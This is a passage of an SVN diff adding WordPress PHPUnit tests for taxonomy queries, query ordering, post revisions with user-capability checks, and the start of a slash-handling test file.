+					'terms' => array( $cats[1]['term_taxonomy_id'], $cats[3]['term_taxonomy_id'], $tags[1]['term_taxonomy_id'], $tags[3]['term_taxonomy_id'] ),
+					'operator' => 'AND',
+					'include_children' => false,
+				)
+			)
+		) );
+
+		$this->assertEquals( array( $posts[0], $posts[1], $posts[2] ), $results1, 'Relation: OR; Operator: AND' );
+
+		$results2 = $q->query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'orderby' => 'ID',
+			'order' => 'ASC',
+			'tax_query' => array(
+				'relation' => 'AND',
+				array(
+					'field' => 'term_taxonomy_id',
+					'terms' => array( $cats[0]['term_taxonomy_id'], $tags[0]['term_taxonomy_id'] ),
+					'operator' => 'IN',
+					'include_children' => false,
+				),
+				array(
+					'field' => 'term_taxonomy_id',
+					'terms' => array( $cats[3]['term_taxonomy_id'], $tags[3]['term_taxonomy_id'] ),
+					'operator' => 'IN',
+					'include_children' => false,
+				)
+			)
+		) );
+
+		$this->assertEquals( array( $posts[0], $posts[3] ), $results2, 'Relation: AND; Operator: IN' );
+	}
+
+	/**
+	 * @ticket 28099
+	 * @group taxonomy
+	 */
+	function test_empty_category__in() {
+		$cat_id = $this->factory->category->create();
+		$post_id = $this->factory->post->create();
+		wp_set_post_categories( $post_id, $cat_id );
+
+		$q1 = get_posts( array( 'category__in' => array( $cat_id ) ) );
+		$this->assertNotEmpty( $q1 );
+		$q2 = get_posts( array( 'category__in' => array() ) );
+		$this->assertNotEmpty( $q2 );
+
+		$tag = wp_insert_term( 'woo', 'post_tag' );
+		$tag_id = $tag['term_id'];
+		$slug = get_tag( $tag_id )->slug;
+		wp_set_post_tags( $post_id, $slug );
+
+		$q3 = get_posts( array( 'tag__in' => array( $tag_id ) ) );
+		$this->assertNotEmpty( $q3 );
+		$q4 = get_posts( array( 'tag__in' => array() ) );
+		$this->assertNotEmpty( $q4 );
+
+		$q5 = get_posts( array( 'tag_slug__in' => array( $slug ) ) );
+		$this->assertNotEmpty( $q5 );
+		$q6 = get_posts( array( 'tag_slug__in' => array() ) );
+		$this->assertNotEmpty( $q6 );
+	}
+
+	/**
+	 * @group taxonomy
+	 * @ticket 29738
+	 */
+	public function test_populate_taxonomy_query_var_from_tax_query() {
+		register_taxonomy( 'foo', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+		$c = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+		) );
+
+		$q = new WP_Query( array(
+			'tax_query' => array(
+				// Empty terms mean that this one should be skipped
+				array(
+					'taxonomy' => 'bar',
+					'terms' => array(),
+				),
+
+				// Category and post tags should be skipped
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( $c ),
+				),
+
+				array(
+					'taxonomy' => 'foo',
+					'terms' => array( $t ),
+				),
+			),
+		) );
+
+		$this->assertSame( 'foo', $q->get( 'taxonomy' ) );
+
+		_unregister_taxonomy( 'foo' );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_populate_taxonomy_query_var_from_tax_query_taxonomy_already_set() {
+		register_taxonomy( 'foo', 'post' );
+		register_taxonomy( 'foo1', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+
+		$q = new WP_Query( array(
+			'taxonomy' => 'bar',
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'foo',
+					'terms' => array( $t ),
+				),
+			),
+		) );
+
+		$this->assertSame( 'bar', $q->get( 'taxonomy' ) );
+
+		_unregister_taxonomy( 'foo' );
+		_unregister_taxonomy( 'foo1' );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_populate_term_query_var_from_tax_query() {
+		register_taxonomy( 'foo', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+			'slug' => 'bar',
+		) );
+
+		$q = new WP_Query( array(
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'foo',
+					'terms' => array( 'bar' ),
+					'field' => 'slug',
+				),
+			),
+		) );
+
+		$this->assertSame( 'bar', $q->get( 'term' ) );
+
+		_unregister_taxonomy( 'foo' );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_populate_term_id_query_var_from_tax_query() {
+		register_taxonomy( 'foo', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+			'slug' => 'bar',
+		) );
+
+		$q = new WP_Query( array(
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'foo',
+					'terms' => array( $t ),
+					'field' => 'term_id',
+				),
+			),
+		) );
+
+		$this->assertEquals( $t, $q->get( 'term_id' ) );
+
+		_unregister_taxonomy( 'foo' );
+	}
+
+	/**
+	 * @group taxonomy
+	 * @ticket 29738
+	 */
+	public function test_populate_cat_category_name_query_var_from_tax_query() {
+		register_taxonomy( 'foo', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+		$c = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'bar',
+		) );
+
+		$q = new WP_Query( array(
+			'tax_query' => array(
+				// Non-category should be skipped
+				array(
+					'taxonomy' => 'foo',
+					'terms' => array( $t ),
+				),
+
+				// Empty terms mean that this one should be skipped
+				array(
+					'taxonomy' => 'category',
+					'terms' => array(),
+				),
+
+				// Category and post tags should be skipped
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( $c ),
+				),
+			),
+		) );
+
+		$this->assertEquals( $c, $q->get( 'cat' ) );
+		$this->assertEquals( 'bar', $q->get( 'category_name' ) );
+
+		_unregister_taxonomy( 'foo' );
+	}
+
+	/**
+	 * @group taxonomy
+	 * @ticket 29738
+	 */
+	public function test_populate_tag_id_query_var_from_tax_query() {
+		register_taxonomy( 'foo', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+		$tag = $this->factory->term->create( array(
+			'taxonomy' => 'post_tag',
+			'slug' => 'bar',
+		) );
+
+		$q = new WP_Query( array(
+			'tax_query' => array(
+				// Non-tag should be skipped
+				array(
+					'taxonomy' => 'foo',
+					'terms' => array( $t ),
+				),
+
+				// Empty terms mean that this one should be skipped
+				array(
+					'taxonomy' => 'post_tag',
+					'terms' => array(),
+				),
+
+				// Category and post tags should be skipped
+				array(
+					'taxonomy' => 'post_tag',
+					'terms' => array( $tag ),
+				),
+			),
+		) );
+
+		$this->assertEquals( $tag, $q->get( 'tag_id' ) );
+
+		_unregister_taxonomy( 'foo' );
+	}
+
+	/**
+	 * @ticket 22448
+	 */
+	function test_the_posts_filter() {
+		// Create posts and clear their caches.
+		$post_ids = $this->factory->post->create_many( 10 );
+		foreach ( $post_ids as $post_id )
+			clean_post_cache( $post_id );
+
+		add_filter( 'the_posts', array( $this, 'the_posts_filter' ) );
+
+		$query = new WP_Query( array(
+			'post_type' => 'post',
+			'posts_per_page' => 5,
+		) );
+
+		// Sixth post added in filter
+		$this->assertEquals( 6, count( $query->posts ) );
+		$this->assertEquals( 6, $query->post_count );
+
+		foreach ( $query->posts as $post ) {
+
+			// posts are WP_Post objects
+			$this->assertTrue( is_a( $post, 'WP_Post' ) );
+
+			// filters are raw
+			$this->assertEquals( 'raw', $post->filter );
+
+			// custom data added in the_posts filter is preserved
+			$this->assertEquals( array( $post->ID, 'custom data' ), $post->custom_data );
+		}
+
+		remove_filter( 'the_posts', array( $this, 'the_posts_filter' ) );
+	}
+
+	/**
+	 * Use with the_posts filter, appends a post and adds some custom data.
+	 */
+	function the_posts_filter( $posts ) {
+		$posts[] = clone $posts[0];
+
+		// Add some custom data to each post.
+		foreach ( $posts as $key => $post )
+			$posts[ $key ]->custom_data = array( $post->ID, 'custom data' );
+
+		return $posts;
+	}
+
+	function test_post__in_ordering() {
+		$post_id1 = $this->factory->post->create( array( 'post_type' => 'page', 'menu_order' => rand( 1, 100 ) ) );
+		$post_id2 = $this->factory->post->create( array( 'post_type' => 'page', 'menu_order' => rand( 1, 100 ) ) );
+		$post_id3 = $this->factory->post->create( array(
+			'post_type' => 'page',
+			'post_parent' => $post_id2,
+			'menu_order' => rand( 1, 100 )
+		) );
+		$post_id4 = $this->factory->post->create( array(
+			'post_type' => 'page',
+			'post_parent' => $post_id2,
+			'menu_order' => rand( 1, 100 )
+		) );
+		$post_id5 = $this->factory->post->create( array( 'post_type' => 'page', 'menu_order' => rand( 1, 100 ) ) );
+
+		$ordered = array( $post_id2, $post_id4, $post_id3, $post_id1, $post_id5 );
+
+		$q = new WP_Query( array(
+			'post_type' => 'any',
+			'post__in' => $ordered,
+			'orderby' => 'post__in'
+		) );
+		$this->assertEqualSets( $ordered, wp_list_pluck( $q->posts, 'ID' ) );
+	}
+
+	function test_post__in_attachment_ordering() {
+		$post_id = $this->factory->post->create();
+		$att_ids = array();
+		$file = DIR_TESTDATA . '/images/canola.jpg';
+		$att_ids[1] = $this->factory->attachment->create_object( $file, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'menu_order' => rand( 1, 100 )
+		) );
+		$att_ids[2] = $this->factory->attachment->create_object( $file, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'menu_order' => rand( 1, 100 )
+		) );
+		$att_ids[3] = $this->factory->attachment->create_object( $file, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'menu_order' => rand( 1, 100 )
+		) );
+		$att_ids[4] = $this->factory->attachment->create_object( $file, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'menu_order' => rand( 1, 100 )
+		) );
+		$att_ids[5] = $this->factory->attachment->create_object( $file, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'menu_order' => rand( 1, 100 )
+		) );
+
+		$ordered = array( $att_ids[5], $att_ids[1], $att_ids[4], $att_ids[3], $att_ids[2] );
+
+		$attached = new WP_Query( array(
+			'post__in' => $ordered,
+			'post_type' => 'attachment',
+			'post_parent' => $post_id,
+			'post_mime_type' => 'image',
+			'post_status' => 'inherit',
+			'posts_per_page' => '-1',
+			'orderby' => 'post__in'
+		) );
+		$this->assertEqualSets( $ordered, wp_list_pluck( $attached->posts, 'ID' ) );
+	}
+
+	function test_post_status() {
+		$statuses1 = get_post_stati();
+		$this->assertContains( 'auto-draft', $statuses1 );
+
+		$statuses2 = get_post_stati( array( 'exclude_from_search' => true ) );
+		$this->assertContains( 'auto-draft', $statuses2 );
+
+		$statuses3 = get_post_stati( array( 'exclude_from_search' => false ) );
+		$this->assertNotContains( 'auto-draft', $statuses3 );
+
+		$q1 = new WP_Query( array( 'post_status' => 'any' ) );
+		$this->assertContains( "post_status <> 'auto-draft'", $q1->request );
+
+		$q2 = new WP_Query( array( 'post_status' => 'any, auto-draft' ) );
+		$this->assertNotContains( "post_status <> 'auto-draft'", $q2->request );
+
+		$q3 = new WP_Query( array( 'post_status' => array( 'any', 'auto-draft' ) ) );
+		$this->assertNotContains( "post_status <> 'auto-draft'", $q3->request );
+	}
+
+	/**
+	 *
+	 * @ticket 17065
+	 */
+	function test_orderby_array() {
+		global $wpdb;
+
+		$q1 = new WP_Query( array(
+			'orderby' => array(
+				'type' => 'DESC',
+				'name' => 'ASC'
+			)
+		) );
+		$this->assertContains(
+			"ORDER BY $wpdb->posts.post_type DESC, $wpdb->posts.post_name ASC",
+			$q1->request
+		);
+
+		$q2 = new WP_Query( array( 'orderby' => array() ) );
+		$this->assertNotContains( 'ORDER BY', $q2->request );
+		$this->assertNotContains( 'ORDER', $q2->request );
+
+		$q3 = new WP_Query( array( 'post_type' => 'post' ) );
+		$this->assertContains(
+			"ORDER BY $wpdb->posts.post_date DESC",
+			$q3->request
+		);
+
+		$q4 = new WP_Query( array( 'post_type' => 'post' ) );
+		$this->assertContains(
+			"ORDER BY $wpdb->posts.post_date DESC",
+			$q4->request
+		);
+	}
+
+	/**
+	 *
+	 * @ticket 17065
+	 */
+	function test_order() {
+		global $wpdb;
+
+		$q1 = new WP_Query( array(
+			'orderby' => array(
+				'post_type' => 'foo'
+			)
+		) );
+		$this->assertContains(
+			"ORDER BY $wpdb->posts.post_type DESC",
+			$q1->request
+		);
+
+		$q2 = new WP_Query( array(
+			'orderby' => 'title',
+			'order'   => 'foo'
+		) );
+		$this->assertContains(
+			"ORDER BY $wpdb->posts.post_title DESC",
+			$q2->request
+		);
+
+		$q3 = new WP_Query( array(
+			'order' => 'asc'
+		) );
+		$this->assertContains(
+			"ORDER BY $wpdb->posts.post_date ASC",
+			$q3->request
+		);
+	}
+
+	/**
+	 * @ticket 29629
+	 */
+	function test_orderby() {
+		// 'rand' is a valid value
+		$q = new WP_Query( array( 'orderby' => 'rand' ) );
+		$this->assertContains( 'ORDER BY RAND()', $q->request );
+		$this->assertNotContains( 'ASC', $q->request );
+		$this->assertNotContains( 'DESC', $q->request );
+
+		// This isn't allowed
+		$q2 = new WP_Query( array( 'order' => 'rand' ) );
+		$this->assertContains( 'ORDER BY', $q2->request );
+		$this->assertNotContains( 'RAND()', $q2->request );
+		$this->assertContains( 'DESC', $q2->request );
+
+		// 'none' is a valid value
+		$q3 = new WP_Query( array( 'orderby' => 'none' ) );
+		$this->assertNotContains( 'ORDER BY', $q3->request );
+		$this->assertNotContains( 'DESC', $q3->request );
+		$this->assertNotContains( 'ASC', $q3->request );
+
+		// false is a valid value
+		$q4 = new WP_Query( array( 'orderby' => false ) );
+		$this->assertNotContains( 'ORDER BY', $q4->request );
+		$this->assertNotContains( 'DESC', $q4->request );
+		$this->assertNotContains( 'ASC', $q4->request );
+
+		// empty array() is a valid value
+		$q5 = new WP_Query( array( 'orderby' => array() ) );
+		$this->assertNotContains( 'ORDER BY', $q5->request );
+		$this->assertNotContains( 'DESC', $q5->request );
+		$this->assertNotContains( 'ASC', $q5->request );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/revisions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/revisions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/revisions.php	(revision 33402)
@@ -0,0 +1,402 @@
+<?php
+
+/**
+ * @group post
+ * @group revision
+ */
+class Tests_Post_Revisions extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+		$this->post_type = rand_str( 20 );
+	}
+
+	function tearDown() {
+		unset( $GLOBALS['wp_post_types'][ $this->post_type ] );
+		parent::tearDown();
+	}
+
+	/**
+	 * Note: Test needs reviewing when #16215 is fixed because I'm not sure the test current tests the "correct" behavior
+	 * @ticket 20982
+	 * @ticket 16215
+	 */
+	function test_revision_restore_updates_edit_last_post_meta() {
+		$admin_user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+		$editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+		$author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+
+		//create a post as Author
+		wp_set_current_user( $author_user_id );
+		$post = get_default_post_to_edit( 'post', true );
+		$post_id = $post->ID;
+
+		wp_update_post( array( 'post_status' => 'draft', 'post_content' => 'I cant spel werds.', 'ID' => $post_id ) );
+
+		//update post as Editor
+		wp_set_current_user( $editor_user_id );
+		wp_update_post( array( 'post_content' => 'The Editor was in fixing your typos.', 'ID' => $post_id ) );
+
+		//restore back as Admin
+		wp_set_current_user( $admin_user_id );
+		$revisions = wp_get_post_revisions( $post->ID );
+		$this->assertCount( 2, $revisions );
+
+		$lastrevision = end( $revisions );
+		$this->assertEquals( 'I cant spel werds.', $lastrevision->post_content );
+		// #16215
+		$this->assertEquals( $author_user_id , $lastrevision->post_author);
+
+		wp_restore_post_revision( $lastrevision->ID );
+
+		//is post_meta correctly set to revision author
+		$this->assertEquals( $admin_user_id, get_post_meta( $post_id, '_edit_last', true ) ); //after restoring user
+
+		wp_set_current_user( 0 );
+	}
+
+	/**
+	* @ticket 7392
+	* @ticket 9843
+	*/
+	function test_revision_dont_save_revision_if_unchanged() {
+		$post = get_default_post_to_edit( 'post', true );
+		$post_id = $post->ID;
+
+		$this->assertCount( 0, wp_get_post_revisions( $post_id ) ); // No revisions on auto-draft creation.
+
+		wp_update_post( array( 'post_status' => 'draft', 'post_title' => 'some-post', 'post_content' => 'some_content', 'ID' => $post_id ) );
+
+		$this->assertCount( 1, wp_get_post_revisions( $post_id ) ); // Just the initial revision
+
+		// First update
+		wp_update_post( array( 'post_content'	=> 'some updated content', 'ID' => $post_id ) );
+
+		$this->assertCount( 2, wp_get_post_revisions( $post_id ) ); // should be 2 revisions so far
+
+		//update the post
+		wp_update_post( array( 'post_content'	=> 'new update for some updated content', 'ID' => $post_id ) );	//2nd revision
+		$this->assertCount( 3, wp_get_post_revisions( $post_id ) ); // should be 3 revision so far
+
+		//next try to save another identical update, tests for patch that prevents storing duplicates
+		wp_update_post( array( 'post_content'	=> 'new update for some updated content', 'ID' => $post_id ) );	//content unchanged, shouldn't save
+		$this->assertCount( 3, wp_get_post_revisions( $post_id ) ); //should still be 3 revision
+
+		//next try to save another update, same content, but new ttile, should save revision
+		wp_update_post( array( 'post_title' => 'some-post-changed', 'post_content'	=> 'new update for some updated content', 'ID' => $post_id ) );
+		$this->assertCount( 4, wp_get_post_revisions( $post_id ) ); //should  be 4 revision
+
+		//next try to save another identical update
+		wp_update_post( array( 'post_title' => 'some-post-changed', 'post_content'	=> 'new update for some updated content', 'ID' => $post_id ) );	//content unchanged, shouldn't save
+		$this->assertCount( 4, wp_get_post_revisions( $post_id ) ); //should still be 4 revision
+	}
+
+	/**
+	* @ticket 7392
+	* @ticket 9843
+	*/
+	function test_revision_force_save_revision_even_if_unchanged() {
+		add_filter( 'wp_save_post_revision_check_for_changes', '__return_false' );
+
+		$post = get_default_post_to_edit( 'post', true );
+		$post_id = $post->ID;
+
+		$this->assertCount( 0, wp_get_post_revisions( $post_id ) ); // No revisions on auto-draft creation.
+
+		wp_update_post( array( 'post_status' => 'draft', 'post_title' => 'some-post', 'post_type' => 'post', 'post_content' => 'some_content', 'ID' => $post_id ) );
+
+		$this->assertCount( 1, wp_get_post_revisions( $post_id ) );
+
+		wp_update_post( array( 'post_content'	=> 'some updated content', 'ID' => $post_id ) );	//1st revision
+		$this->assertCount( 2, wp_get_post_revisions( $post_id ) );
+
+		//update the post
+		wp_update_post( array( 'post_content'	=> 'new update for some updated content', 'ID' => $post_id ) );	//2nd revision
+		$this->assertCount( 3, wp_get_post_revisions( $post_id ) );
+
+		//next try to save another identical update, tests for patch that prevents storing duplicates
+		wp_update_post( array( 'post_content'	=> 'new update for some updated content', 'ID' => $post_id ) );	//content unchanged, shouldn't save
+		$this->assertCount( 4, wp_get_post_revisions( $post_id ) );
+
+		//next try to save another update, same content, but new ttile, should save revision
+		wp_update_post( array( 'post_title' => 'some-post-changed', 'post_content'	=> 'new update for some updated content', 'ID' => $post_id ) );
+		$this->assertCount( 5, wp_get_post_revisions( $post_id ) );
+
+		//next try to save another identical update
+		wp_update_post( array( 'post_title' => 'some-post-changed', 'post_content'	=> 'new update for some updated content', 'ID' => $post_id ) );	//content unchanged, shouldn't save
+		$this->assertCount( 6, wp_get_post_revisions( $post_id ) );
+
+		remove_filter( 'wp_save_post_revision_check_for_changes', '__return_false' );
+	}
+
+	/**
+	 * Tests the Caps used in the action=view case of wp-admin/revision.php
+	 * @ticket 16847
+	 */
+	function test_revision_view_caps_post() {
+		$author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+		$post_id = $this->factory->post->create( array( 'post_type' => 'post', 'post_author' => $editor_user_id ) );
+		wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+
+		$revisions = wp_get_post_revisions( $post_id );
+		$this->assertCount( 1, $revisions );
+		$this->assertTrue( user_can( $editor_user_id, 'read_post', $post_id ) );
+
+		foreach ( $revisions as $revision ) {
+			$this->assertTrue( user_can( $editor_user_id, 'read_post', $revision->ID ) );
+		}
+
+		// Author should be able to view the revisions fine
+		foreach ( $revisions as $revision ) {
+			$this->assertTrue( user_can( $author_user_id, 'read_post', $revision->ID ) );
+		}
+	}
+
+	/**
+	 * Tests the Caps used in the action=restore case of wp-admin/revision.php
+	 * @ticket 16847
+	 */
+	function test_revision_restore_caps_post() {
+		$author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+		$post_id = $this->factory->post->create( array( 'post_type' => 'post', 'post_author' => $editor_user_id ) );
+		wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+
+		$revisions = wp_get_post_revisions( $post_id );
+		$this->assertCount( 1, $revisions );
+		foreach ( $revisions as $revision ) {
+			 $this->assertTrue( user_can( $editor_user_id, 'edit_post', $revision->post_parent ) );
+		}
+
+		// Author shouldn't be able to restore the revisions
+		foreach ( $revisions as $revision ) {
+			 $this->assertFalse( user_can( $author_user_id, 'edit_post', $revision->post_parent ) );
+		}
+	}
+
+	/**
+	 * Tests the Caps used in the action=diff case of wp-admin/revision.php
+	 * @ticket 16847
+	 */
+	function test_revision_diff_caps_post() {
+		$author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+		$post_id = $this->factory->post->create( array( 'post_type' => 'post', 'post_author' => $editor_user_id ) );
+		wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+		wp_update_post( array( 'post_content' => 'This content is even better', 'ID' => $post_id ) );
+
+		// Diff checks if you can read both left and right revisions
+		$revisions = wp_get_post_revisions( $post_id );
+		$this->assertCount( 2, $revisions );
+		foreach ( $revisions as $revision ) {
+			$this->assertTrue( user_can( $editor_user_id, 'read_post', $revision->ID ) );
+		}
+
+		// Author should be able to diff the revisions fine
+		foreach ( $revisions as $revision ) {
+			$this->assertTrue( user_can( $author_user_id, 'read_post', $revision->ID ) );
+		}
+	}
+
+	/**
+	 * Tests the Caps used in the action=view case of wp-admin/revision.php with a CPT with Custom Capabilities
+	 * @ticket 16847
+	 */
+	function test_revision_view_caps_cpt() {
+		register_post_type( $this->post_type, array(
+			'capability_type' => 'event',
+			'map_meta_cap' => true,
+			'supports' => array( 'revisions' ),
+		) );
+
+		$author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+		$post_id = $this->factory->post->create( array( 'post_type' => $this->post_type, 'post_author' => $editor_user_id ) );
+		wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+
+		$revisions = wp_get_post_revisions( $post_id );
+		$this->assertCount( 1, $revisions );
+		$this->assertTrue( user_can( $editor_user_id, 'read_post', $post_id ) );
+
+		foreach ( $revisions as $revision ) {
+			 $this->assertTrue( user_can( $editor_user_id, 'read_post', $revision->ID ) );
+		}
+
+		// Author should be able to view the revisions fine
+		foreach ( $revisions as $revision ) {
+			 $this->assertTrue( user_can( $author_user_id, 'read_post', $revision->ID ) );
+		}
+	}
+
+	/**
+	 * Tests the Caps used in the action=restore case of wp-admin/revision.php
+	 * @ticket 16847
+	 */
+	function test_revision_restore_caps_cpt() {
+		register_post_type( $this->post_type, array(
+			'capability_type' => 'event',
+			'map_meta_cap' => true,
+			'supports' => array( 'revisions' ),
+		) );
+
+		$author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+		// The minimum extra caps needed for this test normally you would give the role all the relevant caps.
+		$editor_user = new WP_User( $editor_user_id );
+		$editor_user->add_cap( 'edit_published_events' );
+
+		//create a post as Editor
+		$post_id = $this->factory->post->create( array( 'post_type' => $this->post_type, 'post_author' => $editor_user_id ) );
+		wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+
+		$revisions = wp_get_post_revisions( $post_id );
+		$this->assertCount( 1, $revisions );
+		foreach ( $revisions as $revision ) {
+			$this->assertTrue( user_can( $editor_user_id, 'edit_post', $revision->post_parent ) );
+		}
+
+		// Author shouldn't be able to restore the revisions
+		wp_set_current_user( $author_user_id );
+		foreach ( $revisions as $revision ) {
+			$this->assertFalse( user_can( $author_user_id, 'edit_post', $revision->post_parent ) );
+		}
+	}
+
+	/**
+	 * Tests the Caps used in the action=restore case of wp-admin/revision.php
+	 * @ticket 16847
+	 */
+	function test_revision_restore_caps_before_publish() {
+		register_post_type( $this->post_type, array(
+			'capability_type' => 'post',
+			'capabilities' => array(
+				// No one can edit this post type once published.
+				// So, revisions cannot be restored, either.
+				'edit_published_posts' => 'do_not_allow',
+			),
+			'map_meta_cap' => true,
+			'supports' => array( 'revisions' ),
+		) );
+
+		$old_id = get_current_user_id();
+		wp_set_current_user( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+
+		$post_id = $this->factory->post->create( array( 'post_type' => $this->post_type, 'post_status' => 'draft' ) );
+		wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+
+		$revisions = wp_get_post_revisions( $post_id );
+		$this->assertCount( 1, $revisions );
+		foreach ( $revisions as $revision ) {
+			$this->assertTrue( current_user_can( 'edit_post', $revision->post_parent ) );
+			$this->assertTrue( current_user_can( 'edit_post', $revision->ID ) );
+		}
+
+		wp_update_post( array( 'post_status' => 'publish', 'ID' => $post_id, 'post_content' => rand_str() ) );
+
+		$revisions = wp_get_post_revisions( $post_id );
+		$this->assertCount( 2, $revisions );
+		foreach ( $revisions as $revision ) {
+			$this->assertFalse( current_user_can( 'edit_post', $revision->post_parent ) );
+			$this->assertFalse( current_user_can( 'edit_post', $revision->ID ) );
+		}
+		wp_set_current_user( $old_id );
+	}
+
+	/**
+	 * Tests the Caps used in the action=diff case of wp-admin/revision.php
+	 * @ticket 16847
+	 */
+	function test_revision_diff_caps_cpt() {
+		register_post_type( $this->post_type, array(
+			'capability_type' => 'event',
+			'map_meta_cap' => true,
+			'supports' => array( 'revisions' ),
+		) );
+
+		$author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+		$post_id = $this->factory->post->create( array( 'post_type' => $this->post_type, 'post_author' => $editor_user_id ) );
+		wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+		wp_update_post( array( 'post_content' => 'This content is even better', 'ID' => $post_id ) );
+
+		// Diff checks if you can read both left and right revisions
+		$revisions = wp_get_post_revisions( $post_id );
+		$this->assertCount( 2, $revisions );
+		foreach ( $revisions as $revision ) {
+			$this->assertTrue( user_can( $editor_user_id, 'read_post', $revision->ID ) );
+		}
+
+		// Author should be able to diff the revisions fine
+		foreach ( $revisions as $revision ) {
+			$this->assertTrue( user_can( $author_user_id, 'read_post', $revision->ID ) );
+		}
+	}
+
+	/**
+	 * @ticket 26042
+	 */
+	function test_wp_get_post_revisions_should_order_by_post_date() {
+		global $wpdb;
+
+		$post = $this->factory->post->create_and_get( array( 'post_title' => 'some-post', 'post_type' => 'post', 'post_content' => 'some_content' ) );
+
+		$post = (array) $post;
+		$post_revision_fields = _wp_post_revision_fields( $post );
+		$post_revision_fields = wp_slash( $post_revision_fields );
+
+		$revision_ids = array();
+		$now = time();
+		for ( $j = 1; $j < 3; $j++ ) {
+			// Manually modify dates to ensure they're different.
+			$date = date( 'Y-m-d H:i:s', $now - ( $j * 10 ) );
+			$post_revision_fields['post_date'] = $date;
+			$post_revision_fields['post_date_gmt'] = $date;
+
+			$revision_id = wp_insert_post( $post_revision_fields );
+
+			$revision_ids[] = $revision_id;
+		}
+
+		$revisions = wp_get_post_revisions( $post['ID'] );
+
+		$this->assertEquals( $revision_ids, array_values( wp_list_pluck( $revisions, 'ID' ) ) );
+	}
+
+	/**
+	 * @ticket 26042
+	 */
+	function test_wp_get_post_revisions_should_order_by_ID_when_post_date_matches() {
+		global $wpdb;
+
+		$post = $this->factory->post->create_and_get( array( 'post_title' => 'some-post', 'post_type' => 'post', 'post_content' => 'some_content' ) );
+
+		$post = (array) $post;
+		$post_revision_fields = _wp_post_revision_fields( $post );
+		$post_revision_fields = wp_slash( $post_revision_fields );
+
+		$revision_ids = array();
+		$date = date( 'Y-m-d H:i:s', time() - 10 );
+		for ( $j = 1; $j < 3; $j++ ) {
+			// Manually modify dates to ensure they're the same.
+			$post_revision_fields['post_date'] = $date;
+			$post_revision_fields['post_date_gmt'] = $date;
+
+			$revision_id = wp_insert_post( $post_revision_fields );
+
+			$revision_ids[] = $revision_id;
+		}
+
+		rsort( $revision_ids );
+
+		$revisions = wp_get_post_revisions( $post['ID'] );
+
+		$this->assertEquals( $revision_ids, array_values( wp_list_pluck( $revisions, 'ID' ) ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/slashes.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/slashes.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/slashes.php	(revision 33402)
@@ -0,0 +1,132 @@
+<?php
+
+/**
+ * @group post
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Post_Slashes extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$this->author_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+		$this->old_current_user = get_current_user_id();
+		wp_set_current_user( $this->author_id );
+
+		// it is important to test with both even and odd numbered slashes as
+		// kses does a strip-then-add slashes in some of it's function calls
+		$this->slash_1 = 'String with 1 slash \\';
+		$this->slash_2 = 'String with 2 slashes \\\\';
+		$this->slash_3 = 'String with 3 slashes \\\\\\';
+		$this->slash_4 = 'String with 4 slashes \\\\\\\\';
+		$this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+		$this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+		$this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+	}
+
+	function tearDown() {
+		wp_set_current_user( $this->old_current_user );
